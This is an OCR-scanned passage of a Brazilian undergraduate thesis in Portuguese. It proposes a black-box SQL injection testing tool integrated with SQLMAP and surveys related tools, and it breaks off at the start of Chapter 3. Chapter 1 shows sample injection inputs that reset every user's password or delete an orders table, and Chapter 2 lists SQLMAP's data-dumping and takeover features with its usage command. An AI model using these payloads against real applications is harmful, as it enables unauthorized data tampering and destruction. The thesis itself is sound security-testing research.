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RESUMO

O numero de incidentes referentes a ataques a aplicacdes Web vem aumentando
nos ultimos anos, levando assim a questionamentos sobre 0 quanto a seguranca
das informacOes estdo sendo priorizadas nas organizacdes que gerenciam,
desenvolvem ou contratam esse tipo de servigo. Sendo a Computacdo em
Nuvem uma forma de distribuir aplicacGes e armazenar dados, hd uma grande
preocupacao no que diz respeito a seguranca e privacidade das informacGes, pois
estas estdo suscetiveis a ataques. Portanto € importante testar a vulnerabilidade
dessas aplicacbes de forma a garantir uma melhor confiabilidade desses
servicos. Neste trabalho é apresentada uma abordagem e uma ferramenta que
atua como ferramenta para testes SQL Injection e foi integrada com a ferramenta
SQLMAP com sucesso, e a mesma foi capaz de detectar vulnerabilidade de uma
aplicacdo web.

Palavras-Chave: SQL Injection, Vulnerabilidade Aplicacbes Web, Seguranca
da Informacéo



ABSTRACT

The number of incidents caused by Web application attacks has been increasing
in the last years, which leads to ponderings about how the information security
Is being prioritized by organizations that manage, develop or lease these
services. Since cloud computing is a method to distribute applications and store
data, there is a great concern regarding the security and the privacy of the
information, because they are prone to attacks. Therefore, it is important to test
the vulnerability of these applications in order to assure a better reliability of
these services. In this project, a new tool that serves as a web application testing
platform is presented, more specifically, for SQL injection attacks. As a test
case, this tool was also successfully integrated to another tool, the SQLMAP,
which, together, where able to detect vulnerabilities in a web application.

Keywords: SQL Injection, Applications Vulnerability Web, Information
Security



LISTADE ILUSTRACOES

Figura 1 — Total de Incidentes Reportados ao CERT.br por Ano. Fonte: Cert.br, 2012 ......12
Figura 2 — Arquitetura da Ferramenta V1peR. Fonte Ciampa et AL. (2010) .......c..ccoeuee.ee. 20
Figura 3 — Arquitetura da Ferramenta SAFELI. Fonte: Fu e Qian (2008) ............cccccveuvenee. 21
Figura 4 — Processo de Ferramenta para Teste de Caixa-Preta...........cccccoeveininiiicennn, 25
Figura 5 — Diagrama de Classes da Ferramenta SUJECLION .........ccccvveieerienieieenesie e 26
Figura 6 — Ferramenta SUJECTION .........c.civeiiiiicieeie sttt 27
Figura 7 — Configuracdo de Preferéncias Ferramenta Sujection ............cccocevveveieevivennene 28
Figura 8 — Configuracgdo do Caso de Teste de Ferramenta SUJECTION..........cccoevvrvririennen, 29
Figura 9 — Console da Ferramenta SUJECTION ...........ccveiveriiieniiiiiniee e, 30
Figura 10 — Configuracdo das Preferéncias da Ferramenta Sujection............cccccoeveevivenenne. 31
Figura 11 — Selecao da EXIENSAD .......cccciveiiiiieieeie sttt 34
Figura 12 — Extracdo de FOrmularios € CampOS .........coceererireninine e 35
Figura 13 — Console da Ferramenta SUJECTION ........cccoiiiieiiniiiiesceee e 36
Figura 14 — Console da Ferramenta SUJECHION .........c.ccveviiiiiicie e 37

Figura 15 — Janela de Mensagem da Ferramenta SUJECLION ...........cccccvevevieieeiecie e 37



SUMARIO

INTRODUGAD ..ottt sttt ne sttt 7
(0L @ ]V I = IO TSRS 7
JUSTIFICATIVA ettt bbbt 8
OBUIETIVOS ..ottt ettt e et ste s te s be et e e neeneeneenes 8
METODOLOGIA. ... bbbttt bbbt re et 9
ESTRUTURA ..ottt sttt se s et e b e saesbesteereenaeneeneeneeneas 9
CAPITULO 1 — FUNDAMENTAGAO TEORICA .....coooveieieieseieieesieseesneans 11
1.1 ComputaCa0 €M NUVEIM ....viiiieiiieeiee sttt e ste et ste e ssa e ba e ae e baesraeabeesreeanbeesseeanees 11
1.2 SeguranGa @ TiP0S d& ALAQUES .........cviirieieieierie sttt 12
IR IS | I [ =Tt € o] o SR 13

1.3.1 Ataque em Primeira OFdEM ........coiiiiiiiieieeese e 13

1.3.1 Ataque em Segunda OrdeM ..........ccoveiieiiiieie e 14
1.4 Vulnerabilidades e Teste de Detecgdo de Defeito........ccovvveereicneni i, 15

1.4.1 Teste de CaiXa Preta ......cccocceiieiiiiccieee et 15
CAPITULO 2 — TRABALHOS RELACIONADOS ......c.oviveveeereiieesseeissnieeiesenienen s 16
2.1 Ferramenta SQLIMAP ... 16
2.2 Ferramenta VIP3R ...t 18
2.3 Ferramenta SAFELL ... 20
2.4 CONSIAEIACOES FINAIS ....ecviiiieiicic ettt ettt et re e ste e ra e e 22
CAPITULO 3 — ABORDAGEM DA PROPOSTA .....oooivieiereeeieeereesiensesesesennis 23
3.1 PIOCESSO ..ttt ettt ettt sttt sttt et b ettt nh e st e e be et e e nreeenbeenree s 23
3.2 FErramenta SUJECLION ........coeeiueeieieccie ettt te ettt e s sae e sne e beeaesnnesre s 25
3.2.1 Casos de Teste e Complemento para 0 SUJECLION ........cccceveieiiieienineseeeeeees 30
3.2.2 Uso Integrado @0 SQLIMARP ... ..ot 33
3.2.3 Sujection Exemplo de FUNCIONAMENTO .........coeiiiiiiiiiiiiiieseeie e 33
3.3 CoNSIAEraGOES FINAIS .....ccviiiieiiiieiiesie et 35
CAPITULO 4 — CONCLUSOES ..ot 39
REFERENCIAS BIBLIOGRAFICAS ........c.oiviiiieieisieeie e 40
APENDICE ...ttt 43
A — SAIDA DA EXECUCAO DO SUJECTION INTEGRADO AO SQLMAP .......... 43
B — CRIACAQO DE EXTENSOES ......oooiiiiiceeeeeeee ettt 64

C — JAVADOC DAS EXTENSOES .......ooiiiiieeeeeetere e teseseesaessesese s 67



INTRODUCAO

Assim como outros sistemas baseados na Web, as aplicagdes em nuvem estdo
propensas a ataques que exploram desde o vazamento de informacdes e tratamento de erros
improprios até a execucdo de arquivos maliciosos, sendo o ataque por SQL Injection uma
propensa possibilidade de ataque a essas aplicacoes.

Estatisticas indicam que ataques a aplica¢fes web aumentaram nos ultimos anos
(CERT.br 2012). Um dos fatores que contribui para impulsionar os incidentes referentes a
seguranca das informacdes é o aumento do nimero de vulnerabilidades nos sistemas. I1sso
ocorre, pois, muitas vezes, uma vulnerabilidade de seguranca é causada por uma sequéncia
de erros que perduram desde a analise e durante o desenvolvimento de um projeto. Este
cenario se agrava quando ndo € adotado um ciclo de desenvolvimento de software seguro,
gerando especificacBes inadequadas e configuracBes vulneraveis das plataformas ocultas
(UTO; MELO, 2009, p.238).

CONTEXTO

Vulnerabilidades de software, em especial, de aplicacbes WEB tém sido
amplamente utilizadas para roubo de informagbes e invasOes de redes corporativas.
Segundo estatisticas disponibilizadas pelo Centro de Estudos, Resposta e Tratamento de
Incidentes de Seguranca no Brasil (CERT.br 2012), o numero de incidentes reportados
referentes a ataques envolvendo redes conectadas a Internet, s6 no ano de 2011, tiveram
um aumento de 78% nas notificacOes de ataques a servidores WEB em relacdo ao ano de
2010, em que nesses ataques sdo exploradas as vulnerabilidades das aplicagdes web.

Sendo a Computacdo em Nuvem uma forma de distribuir aplicacdes e armazenar
dados, hd uma grande preocupacdo no que diz respeito & seguranca e privacidade das
informagdes.

Nesse contexto, 0s assuntos tratados neste aborgaem sdo: ataque por SQL
Injection, que permite que o invasor insira um codigo SQL em varidveis que serdo usadas
em consultas de banco de dados e aplicagbes Web que possibilita a distribuicdo de

software para os consumidores por meio da Internet.



JUSTIFICATIVA

A Internet se consolidou como um importante veiculo de comunicagdo e como um
dos principais meios para a realizacdo de negécios. O numero de incidentes referentes a
ataques a aplicacbes Web vem aumentando nos ultimos anos, levantando assim
questionamentos sobre o quanto a seguranca das informagdes esta sendo priorizada nas
organizagbes que gerenciam, desenvolvem ou contratam esse tipo de servigo. Para a
realizacdo de negdcios por meio da Internet, em que circulam informacgfes importantes
para as corporacdes e, muitas vezes sigilosas, torna-se fundamental garantir a seguranca
das informagoes.

Para auxiliar a resolucdo do problema apresentado, a ferramenta proposta nesta
abordagem, é capaz de executar ataques SQL Injection. Esta ferramenta efetua uma anélise
dindmica a fim de encontrar uma vulnerabilidade em tempo de execucédo da aplicacao. 1sso
é feito de forma a auxiliar assim a detec¢cdo de vulnerabilidades em variadas aplicacdes
web, independente da tecnologia empregada, desde que sejam utilizados formulérios
HTML.

OBJETIVO

O objetivo desta abordagem é uma ferramenta nominada Sujection de ataque SQL
Injection para testar a vulnerabilidade aplicacdes web e aplicagdes em nuvem no modelo
SaaS. A finalidade da ferramenta é de executar uma analise dindmica que se comporta
buscando encontrar uma vulnerabilidade em tempo de execugdo da aplicagdo, em uma
técnica conhecida como Teste de Caixa Preta. Desta maneira, a ferramenta ndo precisara
varrer todo o codigo, pois o0 analista de seguranga executa a aplicacdo e procura por
campos em formularios ou outro tipo de entrada de dados, manipulando os dados,
inserindo os casos de teste contendo comandos do tipo SQL Injection. Estes comandos séo
passados para a aplicagdo, e de acordo com a analise do resultado, verifica-se na pratica a
existéncia ou ndo de uma vulnerabilidade.

A seguir os principais objetivos especificos da abordagem apresenta:

Teste de nivel de aplicacdo: dessa forma o teste pode ser realizado externamente a

rede da aplicacdo web e sem necessidade de obter a aplicagéo do servidor;
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Independéncia de codigo e linguagem: pois a ferramenta destina-se a ser
compativel com qualquer aplicacdo web que utilize paginas HTML,;

Personalizacao: pois a ferramenta deve permitir a adicdo de novos casos de teste;

Coleta de dados: nesta atividade o objetivo é capturar informacGes acerca da
aplicacdo alvo. Esta informac&o é composta por paginas, hiperlinks, formulérios e envio de
valores entre paginas. Basicamente, nesta fase a ferramenta executa como um buscador de
paginas web, copiando e arquivando paginas da aplicacéo;

Identificacdo de parametros de entrada: apds obter cdpias das paginas web, a
ferramenta analisa as paginas para identificar os parametros de entradas dos formularios
presentes nas paginas;

Geracdo de Ataques: durante esta atividade sdo realizados os ataques SQL
Injection com base nos dados armazenados.

Geracdo de Relatérios: a ferramenta produz relatrios com registros dos ataques
realizados. Nestes relatdrios sdo inclusas as paginas vulneraveis, formularios e parametros
identificados e respostas do servidor da aplicacdo web. As informacdes que relacionam as
tentativas com erros e sucessos sdo armazenados em um banco de padrdes, que se torna

disponivel para as proximas execuc¢des da ferramenta.

MATERIAS E METODOS

Para o projeto e desenvolvimento da abordagem desenvolvida neste trabalho, o
mesmo foi dividido em trés fases principais, que contemplam a estudo da fundamentagéo
tedrica e trabalhos relacionados, projeto e desenvolvimento da ferramenta e a apresentacao

do funcionamento da ferramenta.

ESTRUTURA

Esta monografia esta estruturada nos seguintes capitulos:

No Capitulo 1 é apresentada a fundamentacdo tedrica, que aborda conceitos
importantes para o entendimento e elaboragéo deste trabalho. No Capitulo 2 sera descrito
os trabalhos relacionados em que estdo apresentados trabalhos similares a este. No capitulo
3 abordagem da proposta onde sera apresentado o processo de desenvolvimento, exemplos

de casos de testes e complementos para a aplicacdo e a ferramenta implementada com



exemplo de funcionamento.
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CAPITULO 1 - FUNDAMENTACAO TEORICA

Com o avango das tecnologias voltadas para a web em especial a Computagdo em
Nuvem e a falta da devida preocupacdo com requisitos de seguranga, ataques contra
aplicacdes disponiveis na Internet representam uma grande parte dos incidentes de
seguranca ocorridos nos Gltimos anos. Nesta secdo sdo apresentados 0s conceitos

importantes para o entendimento e elaboragéo deste trabalho.

1.1 COMPUTACAO EM NUVEM

Computacdo em nuvem € uma tendéncia recente de tecnologia cujo objetivo é
proporcionar servicos de Tecnologia da Informacdo. Com o passar dos anos e com a
evolucdo tecnoldgica surgiram diversas necessidades para quem faz uso de tecnologia, A
computacdo em nuvem tem por objetivo atender estas necessidades tornando os dados
mais acessiveis de forma compartilhada e auxiliando na reducdo de custos com
equipamentos.

A Computacdo em Nuvem ou Cloud Computing é um modelo de computacdo que
permite ao usudrio final acessar uma grande quantidade de aplicacfes e servicos em
qualquer lugar e independente da plataforma, bastando para isso ter um terminal conectado
a “nuvem” (SILVA, F. H. R 2010).

Dentre as vantagens da Computacdo em Nuvem esté a possibilidade de acesso aos
dados e aplicagdes de qualquer lugar, desde que haja conexdo de qualidade com a Internet,
trazendo assim mobilidade e flexibilidade aos usuérios.

Atualmente pode-se entender Computacdo em Nuvem como um conjunto de
servigos computacionais virtualizado, estes servigos podendo ser compartilhados por meio
da Internet (Michael Armbrust and et al. 2009).

Quanto a questdo de servigos oferecidos pela Computacdo em Nuvem existem
basicamente trés grandes divisbes sendo citado nesta abordagem o Saas (Software-as-a-
Service) .

Saas ou Software como servico (do inglés Software as a Service), representa 0s

servigos de mais alto nivel disponibilizados em uma nuvem. Esses servi¢cos dizem respeito
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a aplicacbes completas que séo oferecidas aos usuérios.Ele roda inteiramente na nuvem e
pode ser considerado uma alternativa a rodar um programa em uma méaquina local (SUN
2009).

Em Grobauer B.(2010) séo apresentados possiveis vulnerabilidades que se podem
ser encontradas em uma nuvem. Uma das questfes apresentadas é a vulnerabilidade dos
protocolos da Internet, onde os servicos da nuvem sdo acessados via rede usando
protocolos padrbes. Na maioria dos casos, essa rede é a Internet, que pode ser considerada
ndo confiavel. As vulnerabilidades de protocolos da Internet, como as que permitem

ataques ao meio, sdo portanto relevantes para Computacdo em Nuvem.

1.2 SEGURANCA E TIPOS DE ATAQUES

No Brasil, o Centro de Estudos, Resposta e Tratamento de Incidentes de
Seguranca no Brasil (CERT.BR, 2012) mantém um grafico atualizado conforme visto na
Figura 1 de incidentes reportados envolvendo redes conectadas a Internet no Brasil, onde
namero total de notificagdes de incidentes no segundo trimestre de 2012 foi um pouco
maior que 114 mil, o que corresponde a um aumento de 30% em relagdo ao trimestre

anterior e a uma queda de 10% em relacdo ao mesmo trimestre de 2011.

Total de Incidentes Reportados ao CERT.br por Ano

400000 392215

358343

320000 -

240000 - -

1222528

197892 201323

160000 ‘142844

Total de Incidentes

80000

1999 2000 2001 2002 2003 2004 2005 2006 2007 2008 2009 2010 2011 2012
Ano (1999 a junho de 2012)

Figura 1 - Total de Incidentes Reportados ao CERT.br por Ano. Fonte: Cert.br, 2012
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Ataques bem sucedidos a sistemas computacionais ocorrem, em boa medida, a
algum tipo de vulnerabilidade. Aplicagdes WEB sdo uma das mais exploradas nestes
ataques. As notificacGes relacionadas a tentativas de fraudes apresentaram crescimento de
65% em relacdo ao trimestre anterior e de 127% em relacdo ao mesmo periodo de 2011
(CERT.BR, 2012).

A cada trés anos a fundagdo OWASP (organizacdo sem fins lucrativos que busca
melhorar a seguranca de aplicacBes web) publica uma documentacdo chamada OWASP
Top Ten contendo a classificacdo das dez principais vulnerabilidades das aplicagdes web.
Dentre essas 0 SQL Injection aparece como a segunda maior vulnerabilidade de seguranca
das aplicagdes (OWASP, 2010).

1.3 SQL INJECTION

SQL Injection ou injecdo de falhas € uma técnica para explorar maliciosamente
aplicativos que usam os dados fornecidos em instrucdes SQL. Isso ocorre em aplicacdes
que recebem dados do usuério e os envia a um interpretador sem validar ou codificar os
dados. Esse tipo de ataque baseia-se na execucdo de comandos, sejam eles comandos de
manipulagdo de dados - DML (select, insert, update, delete) ou comandos de defini¢do de
dados - DDL (create, drop, alter).

Estes comandos sdo executados através das entradas de formularios, ou seja, no
local destinado para digitacdo de informacdes pelo usuéario, onde sdo passados comandos
SQL, que por falhas nas aplicacdes permite ao atacante acesso ndo autorizado a um banco
de dados, a fim de ver ou manipular dados restritos.

Existem diversas possibilidades de comandos que podem ser executados
indevidamente através da passagem de parametros. Abaixo seguem duas categorias
classificada pela Oracle Corporation (2012) sendo elas ataque em primeira ordem e ataque

em segunda ordem.

1.3.1 ATAQUE EM PRIMEIRA ORDEM

O atacante entra com a string maliciosa e causa uma modificacdo no codigo que é

executado imediatamente.
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Considere como exemplo um comando SQL parametrizado dinamicamente em
um sistema cujo objetivo é atualizar a senha do usuario autenticado na aplicagdo. Sua
construcdo é definida da seguinte forma:

UPDATE usuario SET senha = {0}’ where id = {1}

Os parametros 0 e 1 sdo entdo substituidos, respectivamente, pela nova senha
informada pelo usuario (considera-se aqui uma senha ndo-criptografada) e pelo ID do
mesmo, localizado na sessdo de aplicacdo. Ocorre que é possivel, neste caso, informar a
seguinte entrada para a nova senha:

nova_senha’ where 1 =1 --

O comando resultante apds a substituicdo dos parametros, seria:

UPDATE usuario SET senha = ‘nova senha’ where 1 = 1 — where id = 123

(13 2

Considerando que a seqiiéncia atua como comentario em SQL, o resultado
desta injecdo seria a atualizacdo da senha de todos os usuarios do sistema, inviabilizando
temporariamente o0 acesso de todos 0s usuarios e permitindo que o atacante se autentique

como qualquer usuario.

1.3.2 ATAQUE EM SEGUNDA ORDEM

O atacante injeta o comando para ser armazenado em uma fonte considerada
segura. O ataque é executado posteriormente através de outra atividade.

SupBe-se que uma aplicacdo armazene em banco os critérios de busca favoritos do
usudrio. Ainda que o sistema realize tratamento sobre todos 0s eventuais apostrofos para
minimizar os riscos de um ataque de primeira ordem, quando estes dados sdo recuperados
e utilizados para a composicdo de uma futura consulta, ha o risco de execucdo de
comandos arbitrarios.

Considere o seguinte critério de consulta informado pelo usuério:

‘; DELETE FROM pedido; --

Como o tratamento de apostrofos, teriamos o seguinte comando resultante:

INSERT INTO critério_favorito (usuario_id, nome, criterio)

VALUES (11, ‘Meu Ataque’, ’’; DELETE FROM pedido; --)

A informagdo é inserida na base pelo sistema sem nenhum dano inicial. No

entanto, quando o usuério tenta utilizar seus critérios de busca favoritos, ocorrera a
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execucao do cddigo malicioso intencionado pelo atacante.

1.4 VULNERABILIDADES E TESTE DE DETECCAO DE DEFEITO

A seguranca é uma qualidade de sistema que garante a auséncia de acesso ou
manipulagéo, ndo autorizados, ao estado do sistema (Avizienis et al. 2004). As violagdes
de seguranca dos sistemas ocorrem por causa da exploracdo de vulnerabilidades existentes.
Um ataque explora as vulnerabilidades do sistema, podendo comprometer as propriedades
de seguranca do sistema. Nesta subsecéo, é apresentado o conceito do Teste de caixa Preta
que efetuando uma andlise dindmica busca encontrar uma vulnerabilidade em tempo de

execucéo da aplicacéo.

1.41 TESTE DE CAIXA PRETA

O Teste de Caixa-Preta, também conhecido como teste funcional, concentra-se
nos requisitos funcionais do software, pelo fato de tratar o software como uma caixa cujo
contetdo é desconhecido e da qual sé é possivel visualizar o lado externo, ou seja, 0s
dados de entrada fornecidos e as respostas produzidas como saida.

Neste tipo de teste de software o analista de seguranca ndo possui acesso algum
ao codigo fonte do programa, pois, efetuando uma anélise dindmica, o teste busca
encontrar uma vulnerabilidade em tempo de execugéo da aplicagéo.

Um teste de caixa preta examina alguns aspectos de um sistema sem se preocupar
muito com a estrutura interna do software (PRESSMAN, 2005). O objetivo € efetuar
operacdes sobre as diversas funcionalidades e verificar se o resultado gerado por estas esta
de acordo com o esperado.

O teste funcional envolve dois passos principais: identificar as fungdes que o
software deve realizar e criar casos de teste capazes de checar se essas funcgdes estdo sendo
realizadas pelo software (PRESSMAN, 2005).

No caso da proposta de ferramenta deste trabalho, o analista de segurancga executa
a aplicagdo e procura por campos em formularios ou outro tipo de entrada de dados,
manipula os dados que sdo passados para a aplicagéo e de acordo com o resultado verifica

na pratica a existéncia ou ndo de uma vulnerabilidade.
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CAPITULO 2 - TRABALHOS RELACIONADOS

O estudo de trabalhos relacionados é um ponto importante para elaborar uma
abordagem viavel, competitiva e com diferenciais. Neste capitulo sdo apresentados
trabalhos em que sdo definidas abordagens de SQL Injection com suporte ferramental. Os
trabalhos apresentados s3o: “SQLMAP” (Guimaraes, B. D. A. e Stampar, M, 2011),
“V1p3r” (Ciampa et al., 2010) e “SAFELI” (Fu e Qian, 2008).

2.1 FERRAMENTA SQLMAP

Dentre os trabalhos relacionados, pode-se citar a ferramenta SQLMAP. Esta
ferramenta realiza testes de SQL Injection personalizados. O foco dos ataques dessa
ferramenta é para testar a seguranca do banco de dados e a partir de uma pagina Web
(Guimaraes, B. D. A. e Stampar, M, 2011).

Dessa forma, o analista de seguranca é responsavel por informar uma pégina e um
conjunto de variaveis para a ferramenta que testa se a pagina com as variaveis informadas
é vulneravel a diversos tipos de ataques SQL Injection, incluindo:

boolean-based blind ou inferential: neste tipo de ataque o teste é realizado ao
manipular as variaveis ou valores presentes no codigo SQL. Isso pode ser feito ao inserir
um cddigo SQL que representa uma tautologia, trocar nomes de variaveis ou valores. Ao
comparar o resultado normal ao realizado com injec¢des, a ferramenta pode identificar se
houve sucesso no ataque;

time-based blind: neste tipo de ataque a ferramenta cronometra o tempo
necessario para executar a requisicdo a aplicacdo web sem injetar codigo SQL e, em
seguida, injeta codigos SQL que exigem um longo tempo de processamento. Ao comparar
0 tempo necessario para a aplicacdo web responder entre as diferentes tentativas, € possivel
identificar se o banco de dados executou o coOdigo, 0 que representaria uma
vulnerabilidade;

error-based: neste tipo de ataque a ferramenta injeta um comando que causa erros
que um banco de dados deve capturar. A ferramenta analisa a resposta da aplicagdo web
para verificar se o erro ocorreu, o que significa que o banco de dados executou o codigo.

Esse tipo de ataque exige que o analista de seguranca informe o tipo do SGDB
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previamente;

UNION query ou inband SQL injection: neste tipo de ataque a ferramenta insere
codigo utilizando a clausula UNION. Esse ataque necessita que a pagina mostre varios
dados de uma tabela, ndo uma Unica tupla. Ao comparar os dados resultantes, a ferramenta
identifica se conseguiu adicionar dados na sele¢do, o que indica que o banco de dados
executou o codigo injetado;

stacked queries: neste tipo de ataque, a ferramenta injeta um comando SQL Select

aninhado e verifica se isso afeta no resultado da pagina exibida pela aplicacdo web.

Apos identificar uma vulnerabilidade, a ferramenta passa entéo a tentar identificar
o0 sistema gerenciador de banco de dados e a testar suas vulnerabilidades. Dentre os testes,
a ferramenta pode testar a seguranca do SGBD (Sistema Gerenciador de Banco de Dados)
nos seguintes itens:
e Deteccdo do tipo e versdo de SGDB;
e Enumerar usuarios, senhas e colunas;
e Reconhecimento da codificagdo da senha e suporte para quebrar a
codificacdo com forga-bruta (teste exaustivo de possiveis senhas);
e Detectar nomes de tabelas e colunas com forga bruta caso ndo seja possivel
listar;
e Exportar os dados de todas as tabelas;
e Procurar por tabelas e colunas de acordo com um arquivo de dicionario
(nomes previstos);
e Execucédo de codigos SQL/DML/DDL arbitrarios.

A ferramenta também permite explorar vulnerabilidades especificas de algumas
versdes de SGBD que permitem o analista de seguranca tomar o controle do SGBD e/ou
do sistema operacional que o executa.

SQLMAP é uma ferramenta com interface de texto e foi desenvolvida em python,
uma linguagem imperativa, multiparadigma e interpretada que foi criada com o objetivo de
ser altamente produtiva no ponto de vista do desenvolvedor (Python Software Foundation,

2012). Para executar 0 SQLMAP, utiliza-se o comando “python sglmap.py*. Este comando
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faz a ferramenta listar o modo de utilizacdo. Para fazer com que a SQLMAP execute testes
em uma pagina testando a varidvel “id” com as configuragdes padrdes de ataque, pode-se
utilizar o comando: “python sqlmap.py -u “http.://servidor/pagina?id=1"", em que
“servidor" ¢ o endereco do servidor e “pagina” ¢ o nome de uma pagina servida por este
servidor.

Mais detalhes sobre a utilizacdo da ferramenta estdo disponiveis no manual da
SQLMAP (Guimardes, B. D. A. e Stampar, M.., 2011). Esta ferramenta esta disponivel no

site “http://www.sqlmap.org”.

2.2 FERRAMENTA V1P3R

Ciampa et al. (2010) desenvolveram uma ferramenta de SQL Injection
denominada “VI1p3R” capaz de realizar inferential SQL Injection, assim como a
SQLMAP. Esta ferramenta foi criada com o objetivo de atingir um nivel maior de
deteccdes que a SQLMAP e de forma automatizada, ou seja, sem a necessidade do analista
de seguranca fornecer o nome de todas as paginas e variaveis a serem testadas. faz uso de
um conjunto de padrdes heuristicos.

Esses padrdes sdo comparados as mensagens de saida de cada requisicdo a
aplicacdo web. Os sucessos e 0s fracassos sao analisados e estes novos pares de requisicdes
e mensagens de saida sdo acumulados em uma base de dados para se tornarem novos
padrGes, de forma a direcionar a execucdo a atingir maiores niveis de deteccdo e
confiabilidade.

O processo empregado por esta ferramenta é dividido em quatro atividades:

e Coleta de dados: nesta atividade o objetivo é capturar informacGes acerca da
aplicagdo alvo. Esta informagdo é composta por paginas, hiperlinks,
formularios e envio de valores entre paginas. Basicamente, nesta fase a
ferramenta executa como um buscador de paginas web, copiando e
arquivando paginas da aplica¢&o;

e Identificacdo de pardmetros de entrada: apOs obter copias das paginas web,
a ferramenta analisa as paginas para identificar os parametros de entradas
dos formularios presentes nas paginas;

e Geragdo de Ataques: durante esta atividade sdo realizados os ataques SQL



19

Injection com base nos dados armazenados.

e Geracdo de Relatdrios: a ferramenta produz relatérios com registros dos
ataques realizados. Nestes relatérios sdo inclusas as paginas vulneraveis,
formularios e pardmetros identificados e respostas do servidor da
aplicacdo web. As informacdes que relacionam as tentativas com erros e
sucessos sdo armazenados em um banco de padrdes, que se torna

disponivel para as proximas execucdes da ferramenta.

O ponto mais enfatizado pelos autores ao descrever o diferencial da ferramenta é
essa atividade de acumular informacfes sobre ataques passados e utilizar isto para
direcionar novos ataques a maiores indices de sucesso. Por este motivo, esta abordagem foi
descrita como heuristica. Foram realizados estudos empiricos para comparar a V1p3R a
SQLMAP que mostraram um maior nivel de deteccdo para a ferramenta V1p3R ao
empregar ataques do tipo inferential SQL Injection.

A ferramenta V1p3R foi implementada em Perl (Perl Foundation, 2012) e possui a
arquitetura esquematizada na Figura 2. Nesta figura € possivel identificar o mddulo
“BUSCADOR” que adquire informagdes da aplicagdo alvo (Aplicacdo Alvo) que ¢
responsavel por capturar paginas (Atividade 1) e identificar as variaveis de interesse
(Atividade 2). O modulo “INJETOR?” utiliza dos dados armazenados em um dicionario de
strings e os campos identificados para efetuar ataques (Atividade 3). E importante notar
gue o0s novos campos identificados sdo entdo adicionados ao dicionario de strings. Por fim,
o “GERADOR DE PADROES DE ERROS” compara os resultados dos ataques com
padrdes conhecidos e gera um relatdrio final. Os dados do relatério também séo utilizados

para adicionar mais padrdes de erros a base de conhecimento da ferramenta.
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T Aplicacao

DICIONARIO DE

PALAVRAS SQL : BUSCADOR aginas/ ”
paginas.
i hiperlinks F
v parametros A
) de entrada
strings
de v . D
injecao strings de injecéo
e resultados
> INJETOR <
padroes
de erros
GERENCIADOR .
PADROES DE ERROS ERROS resultados | DO TESTE
dos testes

Figura 2 - Arquitetura da Ferramenta VlpeR. Fonte Ciampa et AL. (2010)

2.3 FERRAMENTA SAFELI

Fu e Qian (2008) desenvolveram uma ferramenta denominada “SAFELI”, que
significa “Static Analysis Framework for discovEring SQL Injection vulnerabilities”. Esta
ferramenta analisa aplicacGes no formato de bytecode Java. Portanto, esta ferramenta
depende da disponibilidade do cddigo objeto da aplicacdo web e que este codigo esteja
neste formato.

Ao analisar o codigo objeto, a SAFELI identifica parametros de entrada da
aplicacdo web e suas conexdes ao banco de dados. Além de analisd-lo, a SAFELI o
instrumenta, adicionando cddigo que permite acoplad-lo a0 mddulo SQL Injector da
ferramenta. Os pontos instrumentados sdo aqueles em que sdo identificados como
candidatos vulneraveis a SQL Injections. Por fim, a ferramenta executa testes em cima
destes pontos.

A arquitetura da SAFELI estd esquematizada na Figura 3. Esta arquitetura é

composta pelos seguintes modulos:
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Java Symbolic Execution Engine (JavaSye): o modulo JavaSye é composto pelo
Instrumentador de Bytecode, que analisa e insere c6digo nos codigos objetos e pelo motor
de insercéo de simbolos, que adiciona codigos que permitem inserir strings de ataque;

Biblioteca de Padrbes de Ataque: este mddulo gerencia um banco de dados de
padrbes pré-estabelecidos. Cada padrdo consiste de dois componentes: a especificacdo de
um comando SQL antes e apds um ataques. Esses padrdes possuem trechos substituidos
para se adequarem aos simbolos da aplicacdo durante o ataque;

Gerador de Strings: O gerador de strings recebe um padrdo de comando SQL e 0s
simbolos capturados da aplicacdo e gera um comando SQL adequado para testar a
aplicacéo;

Gerador de Casos de Teste: o gerador de casos de teste executa 0s casos de teste
conforme especificados pelo gerador de strings e gera relatérios indicando
vulnerabilidades. Para detectar vulnerabilidades, sdo comparadas as respostas esperadas
com a resposta recebida apds um ataque, ou seja, teste por inferéncia (inferential SQL

Injection).

JavaSye

001000
101010
010101
010101
010101
101010

%
~
bytecode / | ey L
/ —

Instrumentador Gerador de
de Bytecode Casos de Teste

Motor de inserca .
?818?8 Od(; SE?nbc?I?)sgao Gerador de Strings
010101 | _L—%
010101
010101 ﬁ\
101010
bytecode Biblioteca de
Instrumentado Padrdes de Ataque

Figura 3 - Arquitetura da Ferramenta SAFELI. Fonte: Fu e Qian (2008)

Como ponto fraco desta ferramenta, pode-se citar a grande dependéncia da

plataforma Java. O problema de analisar o cddigo objeto da aplicacdo web é que este ndo é
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comumente acessivel para usudrios finais da aplicagdo web, mas apenas aos
desenvolvedores da aplicacdo e administradores dos servidores. Os autores justificam esta
abordagem pelo fato da analise de cddigo direcionar a ferramenta a descobrir todas as
varidveis de entrada da aplicacdo enquanto que abordagens totalmente caixa-preta séo

baseadas em tentativa e erro (Fu e Qian, 2008).

2.4 CONSIDERACOES FINAIS

Neste capitulo estdo apresentadas trés ferramentas relacionadas a esta abordagem.
A primeira foca-se em testar a seguranca de um banco de dados quando ha uma
vulnerabilidade SQL Injection na aplicacdo, a segunda utiliza-se de heuristicas para
permitir detec¢do automatizada de um tipo de ataque SQL Injection, enquanto que a Ultima
abordagem analisa e instrumenta codigo objeto de uma aplicacdo web Java.

A abordagem desenvolvida neste trabalho diferencia-se das demais por agrupar
pontos fortes das duas primeiras abordagens: independéncia de plataforma da aplicacéo
web e integracdo com as vastas funcionalidades da SQLMAP. Além disso, essa ferramenta
possui codigo em Java com uma arquitetura que permite a facil adicdo de casos de teste
sem exigir novas compilagcbes ou edicOes da ferramenta. A abordagem proposta e a
ferramenta desenvolvida sdo descritas no Capitulo 3.
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CAPITULO 3 - ABORDAGEM PROPOSTA

Vulnerabilidades de software, em especial, de aplicagdbes WEB tém sido
amplamente utilizadas para roubo de informacgdes e invasGes de redes corporativas. A
busca pelo aumento da produtividade no processo de desenvolvimento de software e pela
seguranca das informacgdes leva cada vez mais ao uso de ferramentas de apoio para
verificar as possiveis vulnerabilidades das aplicaces.

Com isso surgiram inumeras ferramentas gratuitas de aplicacGes variadas que
atendem a processos isolados sem integracdo para testes de invasdo, dentre elas a
ferramenta SQLMAP (Guimaraes, B. D. A. e Stampar, M, 2011) que automatiza tipos de
ataque a fim de detectar falhas nas aplicagdes e explorar vulnerabilidades SQL

Injection em aplicacGes web.

3.1 PROCESSO

Neste trabalho é definido um novo processo para teste de vulnerabilidades em
